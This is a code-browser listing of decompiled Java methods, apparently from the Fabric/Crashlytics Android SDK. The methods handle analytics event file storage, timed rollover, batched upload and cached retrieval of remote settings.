        CommonUtils.logControlled(this.context, String.format(Locale.US, "Found %d files in  roll over directory, this is greater than %d, deleting %d oldest files", new Object[]{Integer.valueOf(allFiles.size()), Integer.valueOf(maxFiles), Integer.valueOf(numberOfFilesToDelete)}));
        TreeSet<FileWithTimestamp> sortedFiles = new TreeSet(new Comparator<FileWithTimestamp>() {
            public int compare(FileWithTimestamp arg0, FileWithTimestamp arg1) {
                return (int) (arg0.timestamp - arg1.timestamp);
            }
        });
        for (File file : allFiles) {
            sortedFiles.add(new FileWithTimestamp(file, parseCreationTimestampFromFileName(file.getName())));
        }
        ArrayList<File> toDelete = new ArrayList();
        Iterator it = sortedFiles.iterator();
        while (it.hasNext()) {
            toDelete.add(((FileWithTimestamp) it.next()).file);
            if (toDelete.size() == numberOfFilesToDelete) {
                break;
            }
        }
        this.eventStorage.deleteFilesInRollOverDirectory(toDelete);
    }
}



119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143

compare

Java Code
public int compare(FileWithTimestamp arg0, FileWithTimestamp arg1) {
    return (int) (arg0.timestamp - arg1.timestamp);
}



126
127
128

parseCreationTimestampFromFileName

Java Code
public long parseCreationTimestampFromFileName(String fileName) {
    long j = 0;
    String[] fileNameParts = fileName.split(ROLL_OVER_FILE_NAME_SEPARATOR);
    if (fileNameParts.length == 3) {
        try {
            j = Long.valueOf(fileNameParts[2]).longValue();
        } catch (NumberFormatException e) {
        }
    }
    return j;
}



145
146
147
148
149
150
151
152
153
154
155

FileWithTimestamp

Java Code
public FileWithTimestamp(File file, long timestamp) {
    this.file = file;
    this.timestamp = timestamp;
}



34
35
36
37

EnabledEventsStrategy

Java Code
public EnabledEventsStrategy(Context context, ScheduledExecutorService executorService, EventsFilesManager<T> filesManager) {
    this.context = context;
    this.executorService = executorService;
    this.filesManager = filesManager;
    this.scheduledRolloverFutureRef = new AtomicReference();
}



23
24
25
26
27
28

scheduleTimeBasedRollOverIfNeeded

Java Code
public void scheduleTimeBasedRollOverIfNeeded() {
    if (this.rolloverIntervalSeconds != UNDEFINED_ROLLOVER_INTERVAL_SECONDS) {
        scheduleTimeBasedFileRollOver((long) this.rolloverIntervalSeconds, (long) this.rolloverIntervalSeconds);
    }
}



30
31
32
33
34

sendEvents

Java Code
public void sendEvents() {
    sendAndCleanUpIfSuccess();
}



36
37
38

cancelTimeBasedFileRollOver

Java Code
public void cancelTimeBasedFileRollOver() {
    if (this.scheduledRolloverFutureRef.get() != null) {
        CommonUtils.logControlled(this.context, "Cancelling time-based rollover because no events are currently being generated.");
        ((ScheduledFuture) this.scheduledRolloverFutureRef.get()).cancel(false);
        this.scheduledRolloverFutureRef.set(null);
    }
}



40
41
42
43
44
45
46

deleteAllEvents

Java Code
public void deleteAllEvents() {
    this.filesManager.deleteAllEventsFiles();
}



48
49
50

recordEvent

Java Code
public void recordEvent(T event) {
    CommonUtils.logControlled(this.context, event.toString());
    try {
        this.filesManager.writeEvent(event);
    } catch (IOException e) {
        CommonUtils.logControlledError(this.context, "Failed to write event.", e);
    }
    scheduleTimeBasedRollOverIfNeeded();
}



52
53
54
55
56
57
58
59
60

rollFileOver

Java Code
public boolean rollFileOver() {
    try {
        return this.filesManager.rollFileOver();
    } catch (IOException e) {
        CommonUtils.logControlledError(this.context, "Failed to roll file over.", e);
        return false;
    }
}



62
63
64
65
66
67
68
69

configureRollover

Java Code
protected void configureRollover(int rolloverIntervalSeconds) {
    this.rolloverIntervalSeconds = rolloverIntervalSeconds;
    scheduleTimeBasedFileRollOver(0, (long) this.rolloverIntervalSeconds);
}



71
72
73
74

getRollover

Java Code
public int getRollover() {
    return this.rolloverIntervalSeconds;
}



76
77
78

scheduleTimeBasedFileRollOver

Java Code
void scheduleTimeBasedFileRollOver(long initialDelaySecs, long frequencySecs) {
    if (this.scheduledRolloverFutureRef.get() == null) {
        Runnable rollOverRunnable = new TimeBasedFileRollOverRunnable(this.context, this);
        CommonUtils.logControlled(this.context, "Scheduling time based file roll over every " + frequencySecs + " seconds");
        try {
            this.scheduledRolloverFutureRef.set(this.executorService.scheduleAtFixedRate(rollOverRunnable, initialDelaySecs, frequencySecs, TimeUnit.SECONDS));
        } catch (RejectedExecutionException e) {
            CommonUtils.logControlledError(this.context, "Failed to schedule time based file roll over", e);
        }
    }
}



80
81
82
83
84
85
86
87
88
89
90

sendAndCleanUpIfSuccess

Java Code
void sendAndCleanUpIfSuccess() {
    FilesSender filesSender = getFilesSender();
    if (filesSender == null) {
        CommonUtils.logControlled(this.context, "skipping files send because we don't yet know the target endpoint");
        return;
    }
    CommonUtils.logControlled(this.context, "Sending all files");
    int filesSent = 0;
    List<File> batch = this.filesManager.getBatchOfFilesToSend();
    while (batch.size() > 0) {
        CommonUtils.logControlled(this.context, String.format(Locale.US, "attempt to send batch of %d files", new Object[]{Integer.valueOf(batch.size())}));
        boolean cleanup = filesSender.send(batch);
        if (cleanup) {
            filesSent += batch.size();
            this.filesManager.deleteSentFiles(batch);
        }
        if (!cleanup) {
            break;
        }
        try {
            batch = this.filesManager.getBatchOfFilesToSend();
        } catch (Exception e) {
            CommonUtils.logControlledError(this.context, "Failed to send batch of analytics files to server: " + e.getMessage(), e);
        }
    }
    if (filesSent == 0) {
        this.filesManager.deleteOldestInRollOverIfOverMax();
    }
}



92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120

getDisabledEventsStrategy

Java Code



EventsHandler

Java Code
public EventsHandler(Context context, EventsStrategy<T> strategy, EventsFilesManager filesManager, ScheduledExecutorService executor) {
    this.context = context.getApplicationContext();
    this.executor = executor;
    this.strategy = strategy;
    filesManager.registerRollOverListener(this);
}



14
15
16
17
18
19

recordEventAsync

Java Code
public void recordEventAsync(final T event, final boolean sendImmediately) {
    executeAsync(new Runnable() {
        public void run() {
            try {
                EventsHandler.this.strategy.recordEvent(event);
                if (sendImmediately) {
                    EventsHandler.this.strategy.rollFileOver();
                }
            } catch (Exception e) {
                CommonUtils.logControlledError(EventsHandler.this.context, "Failed to record event.", e);
            }
        }
    });
}



21
22
23
24
25
26
27
28
29
30
31
32
33
34

run

Java Code
public void run() {
    try {
        EventsHandler.this.strategy.recordEvent(event);
        if (sendImmediately) {
            EventsHandler.this.strategy.rollFileOver();
        }
    } catch (Exception e) {
        CommonUtils.logControlledError(EventsHandler.this.context, "Failed to record event.", e);
    }
}



23
24
25
26
27
28
29
30
31
32

recordEventSync

Java Code
public void recordEventSync(final T event) {
    executeSync(new Runnable() {
        public void run() {
            try {
                EventsHandler.this.strategy.recordEvent(event);
            } catch (Exception e) {
                CommonUtils.logControlledError(EventsHandler.this.context, "Crashlytics failed to record event", e);
            }
        }
    });
}



36
37
38
39
40
41
42
43
44
45
46

run

Java Code
public void run() {
    try {
        EventsHandler.this.strategy.recordEvent(event);
    } catch (Exception e) {
        CommonUtils.logControlledError(EventsHandler.this.context, "Crashlytics failed to record event", e);
    }
}



38
39
40
41
42
43
44

onRollOver

Java Code
public void onRollOver(String rolledOverFile) {
    executeAsync(new Runnable() {
        public void run() {
            try {
                EventsHandler.this.strategy.sendEvents();
            } catch (Exception e) {
                CommonUtils.logControlledError(EventsHandler.this.context, "Failed to send events files.", e);
            }
        }
    });
}



48
49
50
51
52
53
54
55
56
57
58

run

Java Code
public void run() {
    try {
        EventsHandler.this.strategy.sendEvents();
    } catch (Exception e) {
        CommonUtils.logControlledError(EventsHandler.this.context, "Failed to send events files.", e);
    }
}



50
51
52
53
54
55
56

disable

Java Code
public void disable() {
    executeAsync(new Runnable() {
        public void run() {
            try {
                EventsStrategy<T> prevStrategy = EventsHandler.this.strategy;
                EventsHandler.this.strategy = EventsHandler.this.getDisabledEventsStrategy();
                prevStrategy.deleteAllEvents();
            } catch (Exception e) {
                CommonUtils.logControlledError(EventsHandler.this.context, "Failed to disable events.", e);
            }
        }
    });
}



60
61
62
63
64
65
66
67
68
69
70
71
72

run

Java Code
public void run() {
    try {
        EventsStrategy<T> prevStrategy = EventsHandler.this.strategy;
        EventsHandler.this.strategy = EventsHandler.this.getDisabledEventsStrategy();
        prevStrategy.deleteAllEvents();
    } catch (Exception e) {
        CommonUtils.logControlledError(EventsHandler.this.context, "Failed to disable events.", e);
    }
}



62
63
64
65
66
67
68
69
70

executeSync

Java Code
protected void executeSync(Runnable runnable) {
    try {
        this.executor.submit(runnable).get();
    } catch (Exception e) {
        CommonUtils.logControlledError(this.context, "Failed to run events task", e);
    }
}



74
75
76
77
78
79
80

executeAsync

Java Code
protected void executeAsync(Runnable runnable) {
    try {
        this.executor.submit(runnable);
    } catch (Exception e) {
        CommonUtils.logControlledError(this.context, "Failed to submit events task", e);
    }
}



82
83
84
85
86
87
88

QueueFileEventStorage

Java Code
public QueueFileEventStorage(Context context, File workingDirectory, String workingFileName, String targetDirectoryName) throws IOException {
    this.context = context;
    this.workingDirectory = workingDirectory;
    this.targetDirectoryName = targetDirectoryName;
    this.workingFile = new File(this.workingDirectory, workingFileName);
    createTargetDirectory();
}



23
24
25
26
27
28
29

createTargetDirectory

Java Code
private void createTargetDirectory() {
    this.targetDirectory = new File(this.workingDirectory, this.targetDirectoryName);
    if (!this.targetDirectory.exists()) {
        this.targetDirectory.mkdirs();
    }
}



31
32
33
34
35
36

add

Java Code
public void add(byte[] data) throws IOException {
    this.queueFile.add(data);
}



38
39
40

getWorkingFileUsedSizeInBytes

Java Code
public int getWorkingFileUsedSizeInBytes() {
    return this.queueFile.usedBytes();
}



42
43
44

rollOver

Java Code
public void rollOver(String targetName) throws IOException {
    this.queueFile.close();
    move(this.workingFile, new File(this.targetDirectory, targetName));
    this.queueFile = new QueueFile(this.workingFile);
}



46
47
48
49
50

move

Java Code
private void move(File sourceFile, File targetFile) throws IOException {
    Throwable th;
    OutputStream fos = null;
    FileInputStream fis = null;
    try {
        FileInputStream fis2 = new FileInputStream(sourceFile);
        try {
            fos = getMoveOutputStream(targetFile);
            CommonUtils.copyStream(fis2, fos, new byte[1024]);
            CommonUtils.closeOrLog(fis2, "Failed to close file input stream");
            CommonUtils.closeOrLog(fos, "Failed to close output stream");
            sourceFile.delete();
        } catch (Throwable th2) {
            th = th2;
            fis = fis2;
            CommonUtils.closeOrLog(fis, "Failed to close file input stream");
            CommonUtils.closeOrLog(fos, "Failed to close output stream");
            sourceFile.delete();
            throw th;
        }
    } catch (Throwable th3) {
        th = th3;
        CommonUtils.closeOrLog(fis, "Failed to close file input stream");
        CommonUtils.closeOrLog(fos, "Failed to close output stream");
        sourceFile.delete();
        throw th;
    }
}



52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

getMoveOutputStream

Java Code
public OutputStream getMoveOutputStream(File targetFile) throws IOException {
    return new FileOutputStream(targetFile);
}



81
82
83

getWorkingDirectory

Java Code
public File getWorkingDirectory() {
    return this.workingDirectory;
}



85
86
87

getRollOverDirectory

Java Code
public File getRollOverDirectory() {
    return this.targetDirectory;
}



89
90
91

getBatchOfFilesToSend

Java Code
public List<File> getBatchOfFilesToSend(int maxBatchSize) {
    List<File> batch = new ArrayList();
    for (File file : this.targetDirectory.listFiles()) {
        batch.add(file);
        if (batch.size() >= maxBatchSize) {
            break;
        }
    }
    return batch;
}



93
94
95
96
97
98
99
100
101
102

deleteFilesInRollOverDirectory

Java Code
public void deleteFilesInRollOverDirectory(List<File> files) {
    for (File file : files) {
        CommonUtils.logControlled(this.context, String.format("deleting sent analytics file %s", new Object[]{file.getName()}));
        file.delete();
    }
}



104
105
106
107
108
109

getAllFilesInRollOverDirectory

Java Code
public List<File> getAllFilesInRollOverDirectory() {
    return Arrays.asList(this.targetDirectory.listFiles());
}



111
112
113

deleteWorkingFile

Java Code
public void deleteWorkingFile() {
    try {
        this.queueFile.close();
    } catch (IOException e) {
    }
    this.workingFile.delete();
}



115
116
117
118
119
120
121

isWorkingFileEmpty

Java Code
public boolean isWorkingFileEmpty() {
    return this.queueFile.isEmpty();
}



123
124
125

canWorkingFileStore

Java Code
public boolean canWorkingFileStore(int newEventSizeInBytes, int maxByteSizePerFile) {
    return this.queueFile.hasSpaceFor(newEventSizeInBytes, maxByteSizePerFile);
}



127
128
129

onRollOver

Java Code



deleteAllEvents

Java Code



recordEvent

Java Code



sendEvents

Java Code



TimeBasedFileRollOverRunnable

Java Code
public TimeBasedFileRollOverRunnable(Context context, FileRollOverManager fileRollOverManager) {
    this.context = context;
    this.fileRollOverManager = fileRollOverManager;
}



10
11
12
13

run

Java Code
public void run() {
    try {
        CommonUtils.logControlled(this.context, "Performing time based file roll over.");
        if (!this.fileRollOverManager.rollFileOver()) {
            this.fileRollOverManager.cancelTimeBasedFileRollOver();
        }
    } catch (Exception e) {
        CommonUtils.logControlledError(this.context, "Failed to roll over file", e);
    }
}



15
16
17
18
19
20
21
22
23
24

GZIPQueueFileEventStorage

Java Code
public GZIPQueueFileEventStorage(Context context, File workingDirectory, String workingFileName, String targetDirectoryName) throws IOException {
    super(context, workingDirectory, workingFileName, targetDirectoryName);
}



11
12
13

getMoveOutputStream

Java Code
public OutputStream getMoveOutputStream(File targetFile) throws IOException {
    return new GZIPOutputStream(new FileOutputStream(targetFile));
}



15
16
17

FeaturesSettingsData

Java Code
public FeaturesSettingsData(boolean promptEnabled, boolean collectLoggedException, boolean collectReports, boolean collectAnalytics) {
    this.promptEnabled = promptEnabled;
    this.collectLoggedException = collectLoggedException;
    this.collectReports = collectReports;
    this.collectAnalytics = collectAnalytics;
}



9
10
11
12
13
14

DefaultSettingsSpiCall

Java Code
public DefaultSettingsSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory) {
    this(kit, protocolAndHostOverride, url, requestFactory, HttpMethod.GET);
}



29
30
31

DefaultSettingsSpiCall

Java Code
DefaultSettingsSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory, HttpMethod method) {
    super(kit, protocolAndHostOverride, url, requestFactory, method);
}



33
34
35

invoke

Java Code
public JSONObject invoke(SettingsRequest requestData) {
    JSONObject toReturn;
    HttpRequest httpRequest = null;
    try {
        Map<String, String> queryParams = getQueryParamsFor(requestData);
        httpRequest = applyHeadersTo(getHttpRequest(queryParams), requestData);
        Fabric.getLogger().d(Fabric.TAG, "Requesting settings from " + getUrl());
        Fabric.getLogger().d(Fabric.TAG, "Settings query params were: " + queryParams);
        toReturn = handleResponse(httpRequest);
        if (httpRequest != null) {
            Fabric.getLogger().d(Fabric.TAG, "Settings request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
        }
    } catch (HttpRequestException e) {
        Fabric.getLogger().e(Fabric.TAG, "Settings request failed.", e);
        toReturn = null;
        if (httpRequest != null) {
            Fabric.getLogger().d(Fabric.TAG, "Settings request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
        }
    } catch (Throwable th) {
        if (httpRequest != null) {
            Fabric.getLogger().d(Fabric.TAG, "Settings request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
        }
    }
    return toReturn;
}



37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

handleResponse

Java Code
JSONObject handleResponse(HttpRequest httpRequest) {
    int statusCode = httpRequest.code();
    Fabric.getLogger().d(Fabric.TAG, "Settings result was: " + statusCode);
    if (requestWasSuccessful(statusCode)) {
        return getJsonObjectFrom(httpRequest.body());
    }
    Fabric.getLogger().e(Fabric.TAG, "Failed to retrieve settings from " + getUrl());
    return null;
}



63
64
65
66
67
68
69
70
71

requestWasSuccessful

Java Code
boolean requestWasSuccessful(int httpStatusCode) {
    return httpStatusCode == 200 || httpStatusCode == 201 || httpStatusCode == 202 || httpStatusCode == 203;
}



73
74
75

getJsonObjectFrom

Java Code
private JSONObject getJsonObjectFrom(String httpRequestBody) {
    try {
        return new JSONObject(httpRequestBody);
    } catch (Exception e) {
        Fabric.getLogger().d(Fabric.TAG, "Failed to parse settings JSON from " + getUrl(), e);
        Fabric.getLogger().d(Fabric.TAG, "Settings response " + httpRequestBody);
        return null;
    }
}



77
78
79
80
81
82
83
84
85

getQueryParamsFor

Java Code
private Map<String, String> getQueryParamsFor(SettingsRequest requestData) {
    Map<String, String> queryParams = new HashMap();
    queryParams.put(BUILD_VERSION_PARAM, requestData.buildVersion);
    queryParams.put(DISPLAY_VERSION_PARAM, requestData.displayVersion);
    queryParams.put(SOURCE_PARAM, Integer.toString(requestData.source));
    if (requestData.iconHash != null) {
        queryParams.put(ICON_HASH, requestData.iconHash);
    }
    String instanceId = requestData.instanceId;
    if (!CommonUtils.isNullOrEmpty(instanceId)) {
        queryParams.put(INSTANCE_PARAM, instanceId);
    }
    return queryParams;
}



87
88
89
90
91
92
93
94
95
96
97
98
99
100

applyHeadersTo

Java Code
private HttpRequest applyHeadersTo(HttpRequest request, SettingsRequest requestData) {
    applyNonNullHeader(request, AbstractSpiCall.HEADER_API_KEY, requestData.apiKey);
    applyNonNullHeader(request, AbstractSpiCall.HEADER_CLIENT_TYPE, AbstractSpiCall.ANDROID_CLIENT_TYPE);
    applyNonNullHeader(request, AbstractSpiCall.HEADER_CLIENT_VERSION, this.kit.getVersion());
    applyNonNullHeader(request, "Accept", "application/json");
    applyNonNullHeader(request, HEADER_DEVICE_MODEL, requestData.deviceModel);
    applyNonNullHeader(request, HEADER_OS_BUILD_VERSION, requestData.osBuildVersion);
    applyNonNullHeader(request, HEADER_OS_DISPLAY_VERSION, requestData.osDisplayVersion);
    applyNonNullHeader(request, HEADER_INSTALLATION_ID, requestData.installationId);
    if (TextUtils.isEmpty(requestData.advertisingId)) {
        applyNonNullHeader(request, HEADER_ANDROID_ID, requestData.androidId);
    } else {
        applyNonNullHeader(request, HEADER_ADVERTISING_TOKEN, requestData.advertisingId);
    }
    return request;
}



102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

applyNonNullHeader

Java Code
private void applyNonNullHeader(HttpRequest request, String key, String value) {
    if (value != null) {
        request.header(key, value);
    }
}



119
120
121
122
123

SessionSettingsData

Java Code
public SessionSettingsData(int logBufferSize, int maxChainedExceptionDepth, int maxCustomExceptionEvents, int maxCustomKeyValuePairs, int identifierMask, boolean sendSessionWithoutCrash, int maxCompleteSessionsCount) {
    this.logBufferSize = logBufferSize;
    this.maxChainedExceptionDepth = maxChainedExceptionDepth;
    this.maxCustomExceptionEvents = maxCustomExceptionEvents;
    this.maxCustomKeyValuePairs = maxCustomKeyValuePairs;
    this.identifierMask = identifierMask;
    this.sendSessionWithoutCrash = sendSessionWithoutCrash;
    this.maxCompleteSessionsCount = maxCompleteSessionsCount;
}



12
13
14
15
16
17
18
19
20

AppRequestData

Java Code
public AppRequestData(String apiKey, String appId, String displayVersion, String buildVersion, String instanceIdentifier, String name, int source, String minSdkVersion, String builtSdkVersion, IconRequest icon, Collection<KitInfo> sdkKits) {
    this.apiKey = apiKey;
    this.appId = appId;
    this.displayVersion = displayVersion;
    this.buildVersion = buildVersion;
    this.instanceIdentifier = instanceIdentifier;
    this.name = name;
    this.source = source;
    this.minSdkVersion = minSdkVersion;
    this.builtSdkVersion = builtSdkVersion;
    this.icon = icon;
    this.sdkKits = sdkKits;
}



19
20
21
22
23
24
25
26
27
28
29
30
31

DefaultSettingsController

Java Code
public DefaultSettingsController(Kit kit, SettingsRequest settingsRequest, CurrentTimeProvider currentTimeProvider, SettingsJsonTransform settingsJsonTransform, CachedSettingsIo cachedSettingsIo, SettingsSpiCall settingsSpiCall) {
    this.kit = kit;
    this.settingsRequest = settingsRequest;
    this.currentTimeProvider = currentTimeProvider;
    this.settingsJsonTransform = settingsJsonTransform;
    this.cachedSettingsIo = cachedSettingsIo;
    this.settingsSpiCall = settingsSpiCall;
}



25
26
27
28
29
30
31
32

loadSettingsData

Java Code
public SettingsData loadSettingsData() {
    return loadSettingsData(SettingsCacheBehavior.USE_CACHE);
}



34
35
36

loadSettingsData

Java Code
public SettingsData loadSettingsData(SettingsCacheBehavior cacheBehavior) {
    SettingsData toReturn = null;
    try {
        if (!(Fabric.isDebuggable() || buildInstanceIdentifierChanged())) {
            toReturn = getCachedSettingsData(cacheBehavior);
        }
        if (toReturn == null) {
            JSONObject settingsJson = this.settingsSpiCall.invoke(this.settingsRequest);
            if (settingsJson != null) {
                toReturn = this.settingsJsonTransform.buildFromJson(this.currentTimeProvider, settingsJson);
                this.cachedSettingsIo.writeCachedSettings(toReturn.expiresAtMillis, settingsJson);
                logSettings(settingsJson, "Loaded settings: ");
                setStoredBuildInstanceIdentifier(getBuildInstanceIdentifierFromContext());
            }
        }
        if (toReturn == null) {
            toReturn = getCachedSettingsData(SettingsCacheBehavior.IGNORE_CACHE_EXPIRATION);
        }
    } catch (Exception e) {
        Fabric.getLogger().e(Fabric.TAG, LOAD_ERROR_MESSAGE, e);
    }
    return toReturn;
}



38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

getCachedSettingsData

Java Code
private SettingsData getCachedSettingsData(SettingsCacheBehavior cacheBehavior) {
    try {
        if (SettingsCacheBehavior.SKIP_CACHE_LOOKUP.equals(cacheBehavior)) {
            return null;
        }
        JSONObject settingsJson = this.cachedSettingsIo.readCachedSettings();
        if (settingsJson != null) {
            SettingsData settingsData = this.settingsJsonTransform.buildFromJson(this.currentTimeProvider, settingsJson);
            if (settingsData != null) {
                logSettings(settingsJson, "Loaded cached settings: ");
                long currentTimeMillis = this.currentTimeProvider.getCurrentTimeMillis();
                if (SettingsCacheBehavior.IGNORE_CACHE_EXPIRATION.equals(cacheBehavior) || !settingsData.isExpired(currentTimeMillis)) {
                    SettingsData toReturn = settingsData;
                    Fabric.getLogger().d(Fabric.TAG, "Returning cached settings.");
                    return toReturn;
                }
                Fabric.getLogger().d(Fabric.TAG, "Cached settings have expired.");
                return null;
            }
            Fabric.getLogger().e(Fabric.TAG, "Failed to transform cached settings data.", null);
            return null;
        }
        Fabric.getLogger().d(Fabric.TAG, "No cached settings data found.");
        return null;
    } catch (Exception e) {
        Fabric.getLogger().e(Fabric.TAG, "Failed to get cached settings", e);
        return null;
    }
}



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

logSettings

Java Code
private void logSettings(JSONObject json, String message) throws JSONException {
    Fabric.getLogger().d(Fabric.TAG, message + json.toString());
}



92
93
94

getBuildInstanceIdentifierFromContext

Java Code
String getBuildInstanceIdentifierFromContext() {
    return CommonUtils.createInstanceIdFrom(CommonUtils.resolveBuildId(this.kit.getContext()));
}



96
97
98

getStoredBuildInstanceIdentifier

Java Code
String getStoredBuildInstanceIdentifier() {
    return this.preferenceStore.get().getString(PREFS_BUILD_INSTANCE_IDENTIFIER, "");
}



100
101
102

setStoredBuildInstanceIdentifier

Java Code
boolean setStoredBuildInstanceIdentifier(String buildInstanceIdentifier) {
    Editor editor = this.preferenceStore.edit();
    editor.putString(PREFS_BUILD_INSTANCE_IDENTIFIER, buildInstanceIdentifier);
    return this.preferenceStore.save(editor);
}



105
106
107
108
109

buildInstanceIdentifierChanged

Java Code
boolean buildInstanceIdentifierChanged() {
    return !getStoredBuildInstanceIdentifier().equals(getBuildInstanceIdentifierFromContext());
}



111
112
113

loadSettingsData

Java Code



loadSettingsData

Java Code



BetaSettingsData

Java Code
public BetaSettingsData(String updateUrl, int updateSuspendDurationSeconds) {
    this.updateUrl = updateUrl;
    this.updateSuspendDurationSeconds = updateSuspendDurationSeconds;
}



7
8
9
10

invoke

Java Code



PromptSettingsData

Java Code
public PromptSettingsData(String title, String message, String sendButtonTitle, boolean showCancelButton, String cancelButtonTitle, boolean showAlwaysSendButton, String alwaysSendButtonTitle) {
    this.title = title;
    this.message = message;
    this.sendButtonTitle = sendButtonTitle;
    this.showCancelButton = showCancelButton;
    this.cancelButtonTitle = cancelButtonTitle;
    this.showAlwaysSendButton = showAlwaysSendButton;
    this.alwaysSendButtonTitle = alwaysSendButtonTitle;
}



12
13
14
15
16
17
18
19
20

SettingsData

Java Code
public SettingsData(long expiresAtMillis, AppSettingsData appData, SessionSettingsData sessionData, PromptSettingsData promptData, FeaturesSettingsData featuresData, AnalyticsSettingsData analyticsSettingsData, BetaSettingsData betaSettingsData, int settingsVersion, int cacheDuration) {
    this.expiresAtMillis = expiresAtMillis;
    this.appData = appData;
    this.sessionData = sessionData;
    this.promptData = promptData;
    this.featuresData = featuresData;
    this.settingsVersion = settingsVersion;
    this.cacheDuration = cacheDuration;
    this.analyticsSettingsData = analyticsSettingsData;
    this.betaSettingsData = betaSettingsData;
}



14
15
16
17
18
19
20
21
22
23
24

isExpired

Java Code
public boolean isExpired(long currentTimeMillis) {
    return this.expiresAtMillis < currentTimeMillis;
}



26
27
28

AbstractAppSpiCall

Java Code
public AbstractAppSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory, HttpMethod method) {
    super(kit, protocolAndHostOverride, url, requestFactory, method);
}



36
37
38

invoke

Java Code
public boolean invoke(AppRequestData requestData) {
    HttpRequest httpRequest = applyMultipartDataTo(applyHeadersTo(getHttpRequest(), requestData), requestData);
    Fabric.getLogger().d(Fabric.TAG, "Sending app info to " + getUrl());
    if (requestData.icon != null) {
        Fabric.getLogger().d(Fabric.TAG, "App icon hash is " + requestData.icon.hash);
        Fabric.getLogger().d(Fabric.TAG, "App icon size is " + requestData.icon.width + "x" + requestData.icon.height);
    }
    int statusCode = httpRequest.code();
    Fabric.getLogger().d(Fabric.TAG, (HttpRequest.METHOD_POST.equals(httpRequest.method()) ? "Create" : "Update") + " app request ID: " + httpRequest.header(AbstractSpiCall.HEADER_REQUEST_ID));
    Fabric.getLogger().d(Fabric.TAG, "Result was " + statusCode);
    if (ResponseParser.parse(statusCode) == 0) {
        return true;
    }
    return false;
}



40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

applyHeadersTo

Java Code
private HttpRequest applyHeadersTo(HttpRequest request, AppRequestData requestData) {
    return request.header(AbstractSpiCall.HEADER_API_KEY, requestData.apiKey).header(AbstractSpiCall.HEADER_CLIENT_TYPE, AbstractSpiCall.ANDROID_CLIENT_TYPE).header(AbstractSpiCall.HEADER_CLIENT_VERSION, this.kit.getVersion());
}



56
57
58

applyMultipartDataTo

Java Code
private HttpRequest applyMultipartDataTo(HttpRequest request, AppRequestData requestData) {
    request = request.part(APP_IDENTIFIER_PARAM, requestData.appId).part(APP_NAME_PARAM, requestData.name).part(APP_DISPLAY_VERSION_PARAM, requestData.displayVersion).part(APP_BUILD_VERSION_PARAM, requestData.buildVersion).part(APP_SOURCE_PARAM, Integer.valueOf(requestData.source)).part(APP_MIN_SDK_VERSION_PARAM, requestData.minSdkVersion).part(APP_BUILT_SDK_VERSION_PARAM, requestData.builtSdkVersion);
    if (!CommonUtils.isNullOrEmpty(requestData.instanceIdentifier)) {
        request.part(APP_INSTANCE_IDENTIFIER_PARAM, requestData.instanceIdentifier);
    }
    if (requestData.icon != null) {
        InputStream inputStream = null;
        try {
            inputStream = this.kit.getContext().getResources().openRawResource(requestData.icon.iconResourceId);
            request.part(APP_ICON_HASH_PARAM, requestData.icon.hash).part(APP_ICON_DATA_PARAM, ICON_FILE_NAME, ICON_CONTENT_TYPE, inputStream).part(APP_ICON_WIDTH_PARAM, Integer.valueOf(requestData.icon.width)).part(APP_ICON_HEIGHT_PARAM, Integer.valueOf(requestData.icon.height));
        } catch (NotFoundException e) {
            Fabric.getLogger().e(Fabric.TAG, "Failed to find app icon with resource ID: " + requestData.icon.iconResourceId, e);
        } finally {
            CommonUtils.closeOrLog(inputStream, "Failed to close app icon InputStream.");
        }
    }
    if (requestData.sdkKits != null) {
        for (KitInfo kit : requestData.sdkKits) {
            request.part(getKitVersionKey(kit), kit.getVersion());
            request.part(getKitBuildTypeKey(kit), kit.getBuildType());
        }
    }
    return request;
}



60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

getKitVersionKey

Java Code
String getKitVersionKey(KitInfo kit) {
    return String.format(Locale.US, APP_SDK_MODULES_PARAM_VERSION, new Object[]{kit.getIdentifier()});
}



85
86
87

getKitBuildTypeKey

Java Code
String getKitBuildTypeKey(KitInfo kit) {
    return String.format(Locale.US, APP_SDK_MODULES_PARAM_BUILD_TYPE, new Object[]{kit.getIdentifier()});
}



89
90
91

AnalyticsSettingsData

Java Code
public AnalyticsSettingsData(String analyticsURL, int flushIntervalSeconds, int maxByteSizePerFile, int maxFileCountPerSend, int maxPendingSendFileCount, boolean forwardToFirebaseAnalytics, boolean includePurchaseEventsInForwardedEvents, boolean trackCustomEvents, boolean trackPredefinedEvents, int samplingRate, boolean flushOnBackground) {
    this.analyticsURL = analyticsURL;
    this.flushIntervalSeconds = flushIntervalSeconds;
    this.maxByteSizePerFile = maxByteSizePerFile;
    this.maxFileCountPerSend = maxFileCountPerSend;
    this.maxPendingSendFileCount = maxPendingSendFileCount;
    this.forwardToFirebaseAnalytics = forwardToFirebaseAnalytics;
    this.includePurchaseEventsInForwardedEvents = includePurchaseEventsInForwardedEvents;
    this.trackCustomEvents = trackCustomEvents;
    this.trackPredefinedEvents = trackPredefinedEvents;
    this.samplingRate = samplingRate;
    this.flushOnBackground = flushOnBackground;
}



17
18
19
20
21
22
23
24
25
26
27
28
29

AnalyticsSettingsData

Java Code
public AnalyticsSettingsData(String analyticsURL, int flushIntervalSeconds, int maxByteSizePerFile, int maxFileCountPerSend, int maxPendingSendFileCount, boolean trackCustomEvents, int samplingRate) {
    this(analyticsURL, flushIntervalSeconds, maxByteSizePerFile, maxFileCountPerSend, maxPendingSendFileCount, false, false, trackCustomEvents, true, samplingRate, true);
}



32
33
34

